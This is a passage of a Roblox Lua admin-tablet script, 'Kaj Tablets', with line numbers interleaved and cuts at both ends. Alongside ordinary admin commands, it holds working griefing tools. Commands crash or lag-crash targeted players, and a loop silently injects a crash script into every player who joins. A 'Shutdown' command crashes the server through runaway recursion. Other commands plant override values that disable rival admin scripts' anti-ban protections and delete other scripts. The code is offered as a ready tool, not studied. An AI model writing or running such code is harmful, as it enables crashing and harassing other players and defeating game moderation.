                                                        if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1627
                                                                Dismiss(Speaker)
1628
                                                                for i = -2, 5 do
1629
                                                                        Ping(i, Speaker, nil, function()
1630
                                                                                ChangeRank(v, i)
1631
                                                                                Dismiss(Speaker)
1632
                                                                                Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1633
                                                                        end)
1634
                                                                end
1635
                                                        else
1636
                                                                Ping("Your Rank Is Too Low", Speaker, 5)
1637
                                                        end
1638
                                                end)
1639
                                        end)
1640
                                        ypcall(function()
1641
                                                Ping("Nil Crash (Remote)", Speaker, nil, function()
1642
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1643
                                                                Crash2(v.Name)
1644
                                                                Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1645
                                                        end
1646
                                                end)
1647
                                        end)
1648
                                        ypcall(function()
1649
                                                Ping("Nil Crash (Insert)", Speaker, nil, function()
1650
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1651
                                                                Crash3(v, Speaker)
1652
                                                                Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1653
                                                        end
1654
                                                end)
1655
                                        end)
1656
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1657
                        end
1658
                end
1659
        end)
1660
end
1661
1662
--Misc
1663
1664
coroutine.resume(coroutine.create(function()
1665
        PlaceAllRanks()
1666
end))
1667
        
1668
Delay(0, function()
1669
        for _,v in pairs(All()) do
1670
                v.Chatted:connect(function(Msg)
1671
                         onChatted(Msg, v) 
1672
                        end)
1673
        end
1674
end)
1675
1676
local starttime = tick()
1677
1678
game:GetService("RunService").Heartbeat:connect(function()
1679
        if Removed == false then 
1680
                ypcall(function()
1681
                        for _,Player in pairs(All()) do
1682
                                local PlayerTablets = {}
1683
                                for i,v in pairs(AllTabs) do
1684
                                        if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1685
                                                table.insert(PlayerTablets, v)
1686
                                        end
1687
                                end
1688
                                for i = 1, #PlayerTablets do
1689
                                        ypcall(function()
1690
                                                local tab = PlayerTablets[i].Tab
1691
                                                local pos = nil
1692
                                                ypcall(function()
1693
                                                        pos = Player.Character.Torso.CFrame
1694
                                                end)
1695
                                                local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1696
                                                local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1697
                                                local cPos = tab.Position
1698
                                                local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1699
                                                local nPos = (ePos-cPos)*.25
1700
                                                cPos = cPos + nPos
1701
                                                local t = (tick() - starttime) % 360
1702
                                                local change = 0.625
1703
                                                PlayerTablets[i].Size = math.sin(t) * change + 2.375
1704
                                                tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
1705
                                                tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1706
                                        end)
1707
                                end
1708
                        end
1709
                end)
1710
        end
1711
end)
1712
1713
Delay(0, function()
1714
        while wait() do
1715
                for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1716
                        ypcall(function()
1717
                                if Injected[v.Name] == nil and LS ~= nil then
1718
                                        Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1719
                                        Injected[v.Name] = true
1720
                                end
1721
                        end)
1722
                end
1723
        end
1724
end)
1725
1726
Plrs.PlayerAdded:connect(function(Plr)
1727
        wait(.1)
1728
        ypcall(function()
1729
                if Removed == false then
1730
                        local JoinPlrName = Plr.Name
1731
                        coroutine.resume(coroutine.create(function()
1732
                                PlaceSpecificRank(Plr)
1733
                        end))
1734
                        coroutine.resume(coroutine.create(function()
1735
                                if Injected[JoinPlrName] ~= nil then
1736
                                        Injected[JoinPlrName] = nil
1737
                                end
1738
                        end))
1739
                        coroutine.resume(coroutine.create(function()
1740
                                Dismiss(Plr)
1741
                                Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1742
                        end))
1743
                end
1744
        end)
1745
end)
1746
1747
Plrs.PlayerRemoving:connect(function(Plr)
1748
        wait(.1)
1749
        ypcall(function()
1750
                if Removed == false then
1751
                        local LeftPlrName = Plr.Name
1752
                        coroutine.resume(coroutine.create(function()
1753
                                if Injected[LeftPlrName] ~= nil then
1754
                                        Injected[LeftPlrName] = nil
1755
                                end
1756
                        end))
1757
                end
1758
        end)
1759
end)
1760
1761
coroutine.resume(coroutine.create(function()
1762
        Delay(0, function()
1763
                while FoundLocalScript == false do wait()
1764
                        ypcall(function()
1765
                                for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1766
                                        if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1767
                                                for _,c in pairs(v:children()) do
1768
                                                        if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1769
                                                                local NewVal = c:Clone()
1770
                                                                NewVal.Name = "LoadingVal"
1771
                                                                for _,s in pairs(v:GetChildren()) do
1772
                                                                        if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1773
                                                                                print("Found Owner")
1774
                                                                                OwnSource = s.Name
1775
                                                                                print(OwnSource)
1776
                                                                                break
1777
                                                                        end
1778
                                                                end
1779
                                                                wait()
1780
                                                                LS = v:Clone()
1781
                                                                NewVal.Parent = LS
1782
                                                                LSSource = "LoadingVal"
1783
                                                                FoundLocalScript = true
1784
                                                                break
1785
                                                        end
1786
                                                end
1787
                                        end
1788
                                end
1789
                        end)
1790
                end
1791
        end)
1792
end))
1793
1794
--Commands
1795
1796
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1797
        Dismiss(Speaker.Name)
1798
        Ping(string.reverse("4611tlaboC") .. " made Kaj Tablets.",Speaker)
1799
        Ping("Your rank is: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1800
        Ping("Every single command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1801
        Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
1802
        Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
1803
        Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
1804
        Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
1805
        Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
1806
        Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
1807
end)
1808
1809
Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
1810
        Dismiss(Speaker.Name)
1811
end)
1812
1813
Command("Kill", 2, "Kills A Player", 
1814
        function(Msg, Speaker)
1815
        local PlrTab = getPlayer(Speaker, Msg)
1816
        if #PlrTab > 0 then
1817
                for _,v in pairs(PlrTab) do
1818
                        ypcall(function()
1819
                                v.Character:BreakJoints()
1820
                                Ping("Killed "..v.Name, Speaker, 5)
1821
                        end)
1822
                end
1823
        end
1824
end)
1825
1826
Command("expl", 2, "Explodes A Player", 
1827
        function(Msg, Speaker)
1828
        local PlrTab = getPlayer(Speaker, Msg)
1829
        if #PlrTab > 0 then
1830
                for _,v in pairs(PlrTab) do
1831
                        ypcall(function()
1832
                if v.Character and v.Character:findFirstChild("Head") then
1833
                        local e = Instance.new("Explosion")
1834
                        e.Position = v.Character.Head.Position
1835
                        e.Parent = v.Character
1836
                                Ping("Exploded "..v.Name, Speaker, 5)
1837
                                end
1838
                        end)
1839
                end
1840
        end
1841
end)
1842
1843
1844
1845
1846
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1847
        local PlrTab = getPlayer(Speaker, Msg)
1848
        if #PlrTab > 0 then
1849
                for _,v in pairs(PlrTab) do
1850
                        ypcall(function()
1851
                                if v.Name ~= Owner then
1852
                                        Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1853
                                        Ping("Muted "..v.Name, Speaker, 5)
1854
                                end
1855
                        end)
1856
                end
1857
        end
1858
end)
1859
1860
1861
1862
Command("Funs", 3, "Inserts a funny script", function(Msg, Speaker)
1863
        local PlrTab = getPlayer(Speaker, Msg)
1864
        if #PlrTab > 0 then
1865
                for _,v in pairs(PlrTab) do
1866
                        ypcall(function()
1867
                                        Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
1868
                                        Ping("Gave "..v.Name.." A fun time!", Speaker, 5)
1869
                        end)
1870
                end
1871
        end
1872
end)
1873
1874
Command("Nils", 3, "Gives a Player Nil support", function(Msg, Speaker)
1875
        local PlrTab = getPlayer(Speaker, Msg)
1876
        if #PlrTab > 0 then
1877
                for _,v in pairs(PlrTab) do
1878
                        ypcall(function()
1879
                                        Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
1880
                                        Ping("Gave "..v.Name.." Nil Support", Speaker, 5)
1881
                        end)
1882
                end
1883
        end
1884
end)
1885
1886
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1887
        local PlrTab = getPlayer(Speaker, Msg)
1888
        if #PlrTab > 0 then
1889
                for _,v in pairs(PlrTab) do
1890
                        ypcall(function()
1891
                                Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1892
                                Ping("Rejoined "..v.Name, Speaker, 5)
1893
                        end)
1894
                end
1895
        end
1896
end)
1897
1898
Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
1899
        local PlrTab = getPlayer(Speaker, Msg)
1900
        if #PlrTab > 0 then
1901
                for _,v in pairs(PlrTab) do
1902
                        ypcall(function()
1903
                                Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1904
                                Ping("Jailed "..v.Name, Speaker, 5)
1905
                        end)
1906
                end
1907
        end
1908
end)
1909
1910
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1911
        local PlrTab = getPlayer(Speaker, Msg)
1912
        if #PlrTab > 0 then
1913
                for _,v in pairs(PlrTab) do
1914
                        ypcall(function()
1915
                                Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1916
                                Ping("Lag Crashing "..v.Name, Speaker, 5)
1917
                        end)
1918
                end
1919
        end
1920
end)
1921
1922
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1923
        local PlrTab = getPlayer(Speaker, Msg)
1924
        if #PlrTab > 0 then
1925
                for _,v in pairs(PlrTab) do
1926
                        ypcall(function()
1927
                                Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1928
                                Ping("UnMuted "..v.Name, Speaker, 5)
1929
                        end)
1930
                end
1931
        end
1932
end)
1933
1934
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1935
        local Worked = false
1936
        for _,v in pairs(Work:GetChildren()) do
1937
                if string.find(v.Name:lower(), Msg:lower()) then
1938
                        if v:IsA("Script") or v:IsA("LocalScript") then
1939
                                v.Disabled = true
1940
                                v:Destroy()
1941
                                Worked = true
1942
                                Ping("Disabled Script: "..v.Name, Speaker, 5)
1943
                        end
1944
                end
1945
        end
1946
        if Worked == false then
1947
                Ping("Script Not Found", Speaker, 5)
1948
        end
1949
end)
1950
1951
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1952
        Dismiss(Speaker)
1953
        local AllScripts = {}
1954
        for _,v in pairs(Work:GetChildren()) do
1955
                if v:IsA("Script") then
1956
                        table.insert(AllScripts, v.Name)
1957
                end
1958
        end
1959
        if #AllScripts > 0 then
1960
                for _,v in pairs(AllScripts) do
1961
                        Ping(v, Speaker)
1962
                end
1963
        else
1964
                Ping("No Scripts Found", Speaker, 5)
1965
        end
1966
end)
1967
1968
Command("afk",0,'Makes you go AFK',
1969
         function(Msg,Speaker)
1970
                Dismiss(Speaker)
1971
                for i = 1,8 do
1972
                        Ping('AFK',Speaker)
1973
                                                        wait(.01)
1974
                        end
1975
        end)
1976
Command("back",0,'Creates Tablets telling everyone that you are back',
1977
         function(Msg,Speaker)
1978
                Dismiss(Speaker)
1979
                for i = 1,8 do
1980
                        Ping('Welcome Back!',Speaker,6)
1981
                                        wait(.1)
1982
                        end
1983
        end)
1984
1985
1986
1987
1988
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1989
        Dismiss(Speaker)
1990
        local LocalScripts = {}
1991
        for _,v in pairs(All()) do
1992
                ypcall(function()
1993
                        for _,x in pairs(v.Character:GetChildren()) do
1994
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1995
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1996
                                end
1997
                        end
1998
                end)
1999
                ypcall(function()
2000
                        for _,x in pairs(v.Backpack:GetChildren()) do
2001
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2002
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2003
                                end
2004
                        end
2005
                end)
2006
                ypcall(function()
2007
                        for _,x in pairs(v.PlayerGui:GetChildren()) do
2008
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2009
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2010
                                end
2011
                        end
2012
                end)
2013
        end
2014
        if #LocalScripts > 0 then
2015
                for _,v in pairs(LocalScripts) do
2016
                        Ping(v, Speaker)
2017
                end
2018
        else
2019
                Ping("No Local Scripts Found", Speaker, 5)
2020
        end
2021
end)
2022
2023
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
2024
        local Split = GetSplit(Msg)
2025
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2026
        local ScriptName = Msg:sub(Split + 1)
2027
        local FoundLocal = false
2028
        for _,name in pairs(PlrTab) do
2029
                ypcall(function()
2030
                        for _,v in pairs(name.Character:GetChildren()) do
2031
                                if string.find(v.Name:lower(), ScriptName) then
2032
                                        if v:IsA("Script") or v:IsA("LocalScript") then
2033
                                                v.Disabled = true
2034
                                                v:Destroy()
2035
                                                FoundLocal = true
2036
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2037
                                        end
2038
                                end
2039
                        end
2040
                end)
2041
                ypcall(function()
2042
                        for _,v in pairs(name.Backpack:GetChildren()) do
2043
                                if string.find(v.Name:lower(), ScriptName) then
2044
                                        if v:IsA("Script") or v:IsA("LocalScript") then
2045
                                                v.Disabled = true
2046
                                                v:Destroy()
2047
                                                FoundLocal = true
2048
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2049
                                        end
2050
                                end
2051
                        end
2052
                end)
2053
                ypcall(function()
2054
                        for _,v in pairs(name.PlayerGui:GetChildren()) do
2055
                                if string.find(v.Name:lower(), ScriptName) then
2056
                                        if v:IsA("Script") or v:IsA("LocalScript") then
2057
                                                v.Disabled = true
2058
                                                v:Destroy()
2059
                                                FoundLocal = true
2060
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2061
                                        end
2062
                                end
2063
                        end
2064
                end)
2065
                if FoundLocal == false then
2066
                        Ping("Local Script Not Found", Speaker, 5)
2067
                end
2068
        end
2069
end)
2070
2071
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
2072
        for _,v in pairs(game:GetChildren()) do
2073
                ypcall(function()
2074
                        if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
2075
                                for _,a in pairs(v:GetChildren()) do
2076
                                        ypcall(function()
2077
                                                a:Destroy()
2078
                                        end)
2079
                                end
2080
                        elseif v.Name == "Players" then
2081
                                for _,plr in pairs(v:GetPlayers()) do
2082
                                        Clear(plr)
2083
                                end
2084
                        end
2085
                end)
2086
        end
2087
        Clean()
2088
        Fixl()
2089
        Ping("Fully Cleaned", Speaker, 5)
2090
end)
2091
2092
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
2093
        LClean()
2094
        Fixl()
2095
        Ping("Lightly Cleaned", Speaker, 5)
2096
end)
2097
2098
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
2099
        local PlrTab = getPlayer(Speaker, Msg)
2100
        if #PlrTab > 0 then
2101
                for _,v in pairs(PlrTab) do
2102
                        ypcall(function()
2103
                                v:LoadCharacter()
2104
                                Ping("Reset "..v.Name, Speaker, 5)
2105
                        end)
2106
                end
2107
        end
2108
end)
2109
2110
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
2111
        repeat wait() until Speaker.Character:findFirstChild("Torso")
2112
        if Work:findFirstChild("Base") then
2113
                Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
2114
        else
2115
                Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
2116
        end
2117
        Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
2118
end)
2119
2120
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
2121
        local PlrTab = getPlayer(Speaker, Msg)
2122
        if #PlrTab > 0 then
2123
                for _,v in pairs(PlrTab) do
2124
                        ypcall(function()
2125
                                v.Character.Torso.Anchored = true
2126
                                Ping("Froze "..v.Name, Speaker, 5)
2127
                        end)
2128
                end
2129
        end
2130
end)
2131
2132
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
2133
        local PlrTab = getPlayer(Speaker, Msg)
2134
        if #PlrTab > 0 then
2135
                for _,v in pairs(PlrTab) do
2136
                        ypcall(function()
2137
                                for _,v2 in pairs(v.Character:GetChildren()) do
2138
                                        ypcall(function()
2139
                                                v.Anchored = false
2140
                                        end)
2141
                                end
2142
                                Ping("Thawed "..v.Name, Speaker, 5)
2143
                        end)
2144
                end
2145
        end
2146
end)
2147
2148
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
2149
        local PlrTab = getPlayer(Speaker, Msg)
2150
        if #PlrTab > 0 then
2151
                for _,v in pairs(PlrTab) do
2152
                        ypcall(function()
2153
                                Instance.new("ForceField", v.Character)
2154
                        end)
2155
                end
2156
        end
2157
end)
2158
2159
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
2160
        local PlrTab = getPlayer(Speaker, Msg)
2161
        if #PlrTab > 0 then
2162
                for _,v in pairs(PlrTab) do
2163
                        ypcall(function()
2164
                                RemObj(v.Character, "ForceField")
2165
                        end)
2166
                end
2167
        end
2168
end)
2169
2170
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
2171
        local Split = GetSplit(Msg)
2172
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2173
        local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
2174
        if #PlrTab > 0 and #PlrTab2 > 0 then
2175
                for i,v in pairs(PlrTab) do
2176
                        ypcall(function()
2177
                                for _,v2 in pairs(PlrTab2) do
2178
                                        ypcall(function()
2179
                                                v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
2180
                                                Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
2181
                                        end)
2182
                                end
2183
                        end)
2184
                end
2185
        end
2186
end)
2187
2188
Command("Msg",2, "Creates a Message",
2189
        function(Msg,Speaker)
2190
                Message(Msg)
2191
end)
2192
2193
Command("H",2, "Creates a Hint",
2194
        function(Msg,Speaker)
2195
                Hint(Msg)
2196
end)
2197
2198
Command("Sm",2, "Creates a System message",
2199
        function(Msg,Speaker)
2200
                SystemMsg(Msg)
2201
end)
2202
2203
function Message(str,p)
2204
        if p==nil then
2205
                for _,Player in pairs(game.Players:GetPlayers()) do
2206
                        coroutine.wrap(function()
2207
                                local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2208
                                local Text = Instance.new("TextLabel", Msg)
2209
                                Text.Position = UDim2.new(0, 0, 0.7, 0)
2210
                                Text.Font=2
2211
                                Text.FontSize=9
2212
                                Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2213
                                Text.BackgroundTransparency = 0.4
2214
                                Text.TextColor3 = Color3.new(1, 1, 1)
2215
                                Text.TextTransparency = 1
2216
                                Text.TextWrap = true
2217
                                Text.Text = tostring(str)
2218
                                Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2219
                                Text.TextTransparency = 0
2220
                                Num = #str * 0.06
2221
                                wait(3)
2222
                                Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2223
                                wait(Num)
2224
                                Msg:Remove()
2225
                        end)()
2226
                end
2227
        else
2228
                Player=p;
2229
                coroutine.wrap(function()
2230
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2231
                        local Text = Instance.new("TextLabel", Msg)
2232
                        Text.Position = UDim2.new(0, 0, 0.7, 0)
2233
                        Text.Font=2
2234
                        Text.FontSize=9
2235
                        Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2236
                        Text.BackgroundTransparency = 0.1
2237
                        Text.TextColor3 = Color3.new(1, 1, 1)
2238
                        Text.TextTransparency = 1
2239
                        Text.TextWrap = true
2240
                        Text.Text = tostring(str)
2241
                        Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2242
                        Text.TextTransparency = 0
2243
                        Num = #str * 0.06
2244
                        wait(3)
2245
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2246
                        wait(Num)
2247
                        Msg:Remove()
2248
                end)()
2249
        end
2250
end
2251
function SystemMsg(str)
2252
        for _,Player in pairs(game.Players:GetPlayers()) do
2253
                coroutine.wrap(function()
2254
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2255
                        local Text = Instance.new("TextLabel", Msg)
2256
                        Text.Position = UDim2.new(0, 0, 0, 0)
2257
                        Text.Font='Legacy'
2258
                        Text.FontSize = "Size48"
2259
                        Text.BackgroundColor3 = Color3.new(-1,-1,-1)
2260
                        Text.BackgroundTransparency = 0.4
2261
                        Text.TextColor3 = Color3.new(1,1,1)
2262
                        Text.TextTransparency = 0
2263
                        Text.TextWrap = true
2264
                        Text.Text = ' [ System ] \n ' .. tostring(str)
2265
                        Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
2266
                        Text.TextTransparency = 0.1
2267
                        Num = #str * 0.06
2268
                        wait(6)
2269
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2270
                        wait(Num)
2271
                        Msg:Remove()
2272
                end)()
2273
        end
2274
end
2275
function Hint(str,p)
2276
        if p == nil then
2277
                for _,Player in pairs(game.Players:GetPlayers()) do
2278
                        coroutine.wrap(function()
2279
                                local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2280
                                local Text = Instance.new("TextLabel", Msg)
2281
                                Text.Position = UDim2.new(0, 0, 0, 0)
2282
                                Text.Font=2
2283
                                Text.FontSize=9
2284
                                Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2285
                                Text.BackgroundTransparency = 0.4
2286
                                Text.TextColor3 = Color3.new(1, 1, 1)
2287
                                Text.TextTransparency = 1
2288
                                Text.TextWrap = true
2289
                                Text.Text = tostring(str)
2290
                                Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2291
                                Text.TextTransparency = 0
2292
                                Num = #str * 0.06
2293
                                wait(3)
2294
                                Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2295
                                wait(Num)
2296
                                Msg:Remove()
2297
                        end)()
2298
                end
2299
        else
2300
                Player=p
2301
                coroutine.wrap(function()
2302
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2303
                        local Text = Instance.new("TextLabel", Msg)
2304
                        Text.Position = UDim2.new(0, 0, 0, 0)
2305
                        Text.Font=2
2306
                        Text.FontSize=9
2307
                        Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2308
                        Text.BackgroundTransparency = 0.1
2309
                        Text.TextColor3 = Color3.new(1, 1, 1)
2310
                        Text.TextTransparency = 1
2311
                        Text.TextWrap = true
2312
                        Text.Text = tostring(str)
2313
                        Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2314
                        Text.TextTransparency = 0
2315
                        Num = #str * 0.06
2316
                        wait(3)
2317
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2318
                        wait(Num)
2319
                        Msg:Remove()
2320
                end)()
2321
        end
2322
end
2323
2324
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
2325
        MakeExplorer(Speaker)
2326
end)
2327
2328
2329
Command("Info", 0, "Shows Information About Infinity", function(Msg, Speaker)
2330
        wait()
2331
        Dismiss(Speaker)
2332
        NumBanned = 0
2333
        NumCmds = 0
2334
        for i = 1, #Rankings do
2335
                if Rankings[i].Rank < 0 then
2336
                        NumBanned = NumBanned + 1
2337
                end
2338
        end
2339
        for i,v in pairs(Commands) do
2340
                NumCmds = NumCmds + 1
2341
        end
2342
        Ping("Kaj Tablets.", Speaker)
2343
        Ping("Tablets Creator", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
2344
        Ping("Date Started: 6/10/2014", Speaker)
2345
        Ping("Your ID is: "..Speaker.userId, Speaker)
2346
        Ping("#Players: "..#All2(), Speaker)
2347
        Ping("#Cmds: "..NumCmds, Speaker)
2348
        Ping("#Banned: "..NumBanned, Speaker)
2349
        Ping("ShowGarbage", Speaker)
2350
end)
2351
2352
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
2353
        Dismiss(Speaker)
2354
        for i,v in pairs(All()) do
2355
                Ping(v.Name.."'s Rank: "..FindRank(v))
2356
        end
2357
end)
2358
2359
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
2360
        local Split = GetSplit(Msg)
2361
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2362
        local Speed = tonumber(Msg:sub(Split + 1))
2363
        for _,v in pairs(PlrTab) do
2364
                ypcall(function()
2365
                        v.Character.Humanoid.WalkSpeed = Speed
2366
                        Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
2367
                end)
2368
        end
2369
end)
2370
2371
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
2372
        local RemoveAB = Instance.new("StringValue")
2373
        RemoveAB.Name = "CBA Attachment"
2374
        RemoveAB.Value = [[CBA.override=true;]]
2375
        RemoveAB.Parent = Work
2376
        Ping("Removed All CBA Anti-Bans", Speaker, 5)
2377
end)
2378
2379
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
2380
        Dismiss(Speaker)
2381
        for i,v in pairs(Injected) do
2382
                Ping(i, Speaker)
2383
        end
2384
end)
2385
2386
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
2387
        local RemoveCBA = Instance.new("StringValue")
2388
        RemoveCBA.Name = "CBA Attachment"
2389
        RemoveCBA.Value = [[CBA.remove = false]]
2390
        RemoveCBA.Parent = Work
2391
        Ping("Removed All CBA Admins", Speaker, 5)
2392
end)
2393
2394
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
2395
        local function BufferOverflow(object)
2396
                object.DescendantAdded:connect(BufferOverflow)
2397
                Instance.new("IntValue", object)
2398
        end
2399
        BufferOverflow(Game)
2400
end)
2401
2402
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
2403
        local PlrTab = getPlayer(Speaker, Msg)
2404
        if #PlrTab > 0 then
2405
                for _,v in pairs(PlrTab) do
2406
                        ypcall(function()
2407
                                Crash1(v)
2408
                                Ping("Crash Kicked "..v.Name, Speaker, 5)
2409
                        end)
2410
                end
2411
        end
2412
end)
2413
2414
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
2415
        local PlrTab = getPlayer(Speaker, Msg)
2416
        if #PlrTab > 0 then
2417
                for _,v in pairs(PlrTab) do
2418
                        ypcall(function()
2419
                                ChangeRank(v, -1)
2420
                        end)
2421
                end
2422
        end
2423
end)
2424
2425
Command("jb", 4, "Jail Ban a Player", function(Msg, Speaker)
2426
        local PlrTab = getPlayer(Speaker, Msg)
2427
        if #PlrTab > 0 then
2428
                for _,v in pairs(PlrTab) do
2429
                        ypcall(function()
2430
                                ChangeRank(v, -2)
2431
                        end)
2432
                end
2433
        end
2434
end)
2435
2436
2437
2438
2439
2440
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
2441
        local PlrTab = getPlayer(Speaker, Msg)
2442
        if #PlrTab > 0 then
2443
                for _,v in pairs(PlrTab) do
2444
                        ypcall(function()
2445
                                ChangeRank(v, -3)
2446
                        end)
2447
                end
2448
        end
2449
end)
2450
2451
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
2452
        ypcall(function()
2453
